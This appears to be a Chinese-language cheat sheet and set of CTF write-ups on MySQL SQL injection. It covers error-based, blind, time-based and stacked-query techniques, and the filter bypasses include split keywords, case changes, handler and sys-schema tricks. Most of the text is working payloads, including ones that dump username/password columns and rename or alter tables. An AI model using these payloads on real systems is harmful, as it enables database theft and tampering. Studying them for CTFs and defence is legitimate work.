常用函数:
函数名称 | 函数功能 | 函数使用说明 |
---|---|---|
system_user() | 系统用户名 | |
user() | 用户名 | |
current_user() | 当前用户名 | |
session_user() | 连接数据库的用户名 | |
database() | 数据库名 | |
version()/@@version | 数据库版本 | |
@@datadir | 数据库路径 | |
@@basedir | 数据库安装路径 | |
@@version_compile_os | 操作系统 | |
count() | 返回执行结果数量 | |
concat() | 没有分隔符地连接字符串 | select concat(username,psd) from users; |
concat_ws() | 含有分隔符地连接字符串 | |
group_concat() | 以逗号分隔连接一个组的字符串 | 连接为一组,就只有一条数据了 |
load_file() | 读取本地文件 | |
into outfile | 写文件 | select ‘test_string’ into outfile ‘/opt/mysql’ |
ascii() | 字符串的ASCII代码值 | |
ord() | 返回字符串第一个字符的ASC值 | |
mid() | 返回字符串的一部分 | |
substr() | 返回字符串的一部分 | select substr(‘abcd’,1,2) |
length() | 返回字符串长度 | |
left() | 返回字符串最左边的几个字符 | |
floor() | 返回小于或等于x的最大整数 | |
rand() | 返回0,1之间的随机数 | |
extractvalue(XML_document,XPath_string) | 从目标xml中返回包含查询值的字符串 | XML文件名、所查询的字符串 |
updatexml(XML_document,XPath_string,new) | 改变文档中符合条件的节点值 | new是替换符合条件的数据 |
sleep() | 让此语句运行N秒 | |
if() | SELECT IF(1>2,2,3)==>3 | |
char() | 返回整数asc代码字符组成的字符串 | |
STRCMP() | 比较字符串内容 | |
IFNULL() | 参数1==NULL?参数2:参数1 | |
exp() | 返回e的x次方 |
核心就是information_schema库;
功能名称 | 查询语句 |
---|---|
查库 | select schema_name from information_schema.schemata; |
查表 | select table_name from information_schema.tables where table_schema=库名 |
查列 | select column_name from information_schema.columns where table_name=表名 |
查数据 | select 列名 from 库名.表名 |
场景:只有最后一个select子句允许有order by、limit
函数 | 使用说明 |
---|---|
floor() | select count(*) from information_schema.tables group by concat((select version()),floor(rand(0) * 2));group by 对rand()进行操作时错误 |
extractvalue() | extractvalue(1.concat(0x7e,(select user()),0x7e)); |
updatexml() | select updatexml(1,concat(0x7e,(select user()),0x7e),1);XPATH语法错误 |
盲注经常会过滤掉一些函数,如果注入点是id=1这种,可以使用1^1
, 1^0
这种异或测试,判断是否可以盲注,如果可以,就可以编写代码准备盲注:
?id=1^(ascii(substr((select(group_concat(username,'-',password))from(F1naI1y)),{},1))>{})^1
类似猜单词小游戏,逐位猜测字母,根据显示的真假判断;
构造逻辑判断语句判断信息真假,取出所有真值实现sql注入;
方法 | 说明 |
---|---|
left() | left(database(),1)>‘s’;database()显示数据库名称,left截取其前n位 |
regexp | select user() regexp ‘^r’ 匹配正则 |
like | select user() like ‘ro%’ 和正则类似,用like匹配 |
substr() \ ascii() | ascii(substr((select database()),1,1))==98 substr从b开始截取a串c长度,ascii将该字符转化为ascii值 |
ord() \ mid() | ord(mid((select user()),1,1))==114 和上面类似 |
这里是因为,不仅盲注,甚至sql连错误正确的显示内容都相同,所以需要自己在错误的时候进行延时,如此以区分是否为真;
核心语法
if(left(user(),1)='a',0,sleep(3));
真实场景:
if(ascii(substr(database(),1,1))>115,0,sleep(5))%23
一题SQL过滤了很多sql字符,先Fuzz测试一下;
?username=hhh'or(updatexml(1,concat(0x7e,(database()),0x7e),1))%23&password=hhh
获取到数据库名:
最后取数据的时候也有一点坑;
?username=hhh'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=hhh
使用right函数
?username=hhh'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=hhh
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
这时候不能用union注入了,因为直接过滤掉了select(/i表示不区分大小写);咋整呢?
就是一次执行多个语句;
1';show databases;#
先拿表:
-1';show tables;#
-1';desc `1919810931114514`;#
既然题目查的是words表,那就把1919810931114514名字改成words;字段flag改成id;用简单注入获取flag;
0';
rename table words to words1;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc words;#
一定要一口气执行完,不然删了words表之后就不能再注入了,因为无论如何from words都会报错;
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
构造:
-1’;
set @sql=concat(‘se’,‘lect * from 1919810931114514’);
prepare stmt from @sql;
execute stmt;
即:
-1';set @sql=concat('se','lect * from `1919810931114514`');prepare stmt from @sql;execute stmt;#
返回strstr($inject, "set") && strstr($inject, "prepare")
识别到了set和prepare
但strstr大小写敏感;(stristr大小写不敏感);
所以改一下大小写就行;
-1';Set @sql=concat('se','lect * from `1919810931114514`');prePare stmt from @sql;execute stmt;#
假设我们是大佬,已经推测出来了;
select $_GET['query'] || flag from Flag
这个||是字符串连接符;所以普通的注入是会成功的,只有堆叠注入;
解法1
输入的内容为*,1
内置的sql语句为s q l = select *,1||flag from Flag";
相当于select * 加了一个没用的字段
解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag
HANDLER FLAGHERE OPEN;
HANDLER FLAGHERE READ FIRST;
HANDLER FLAGHERE CLOSE;
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
此时不能用or、order、information_schema;
前两个倒还好,可以用union select一个一个试,但后一个不能用就很难获取数据了;
在高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
查表名:
1' union select 1,database(),group_concat(table_name) from mysql.innodb_table_stats where database_name=database()`
查数据:
可以用自定义表再union select的方法,这样只需要知道表的字段数就可以查数据了,不用再费心找属性名;
1' union select 1,(select group_concat(a,b) from(select 1,2 as a,3 as b union select * from users)x)'
这里是自定义了一个x表,这个表有三列分别是1,2,3;其中2列命名为a,3列命名为b,再和users表联合查询,这样users的数据就对应为1,a, b三个列,不需要管users本身的字段叫什么。
但是mysql默认是关闭InnoDB存储引擎;
所以还有一个方法绕过;
sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer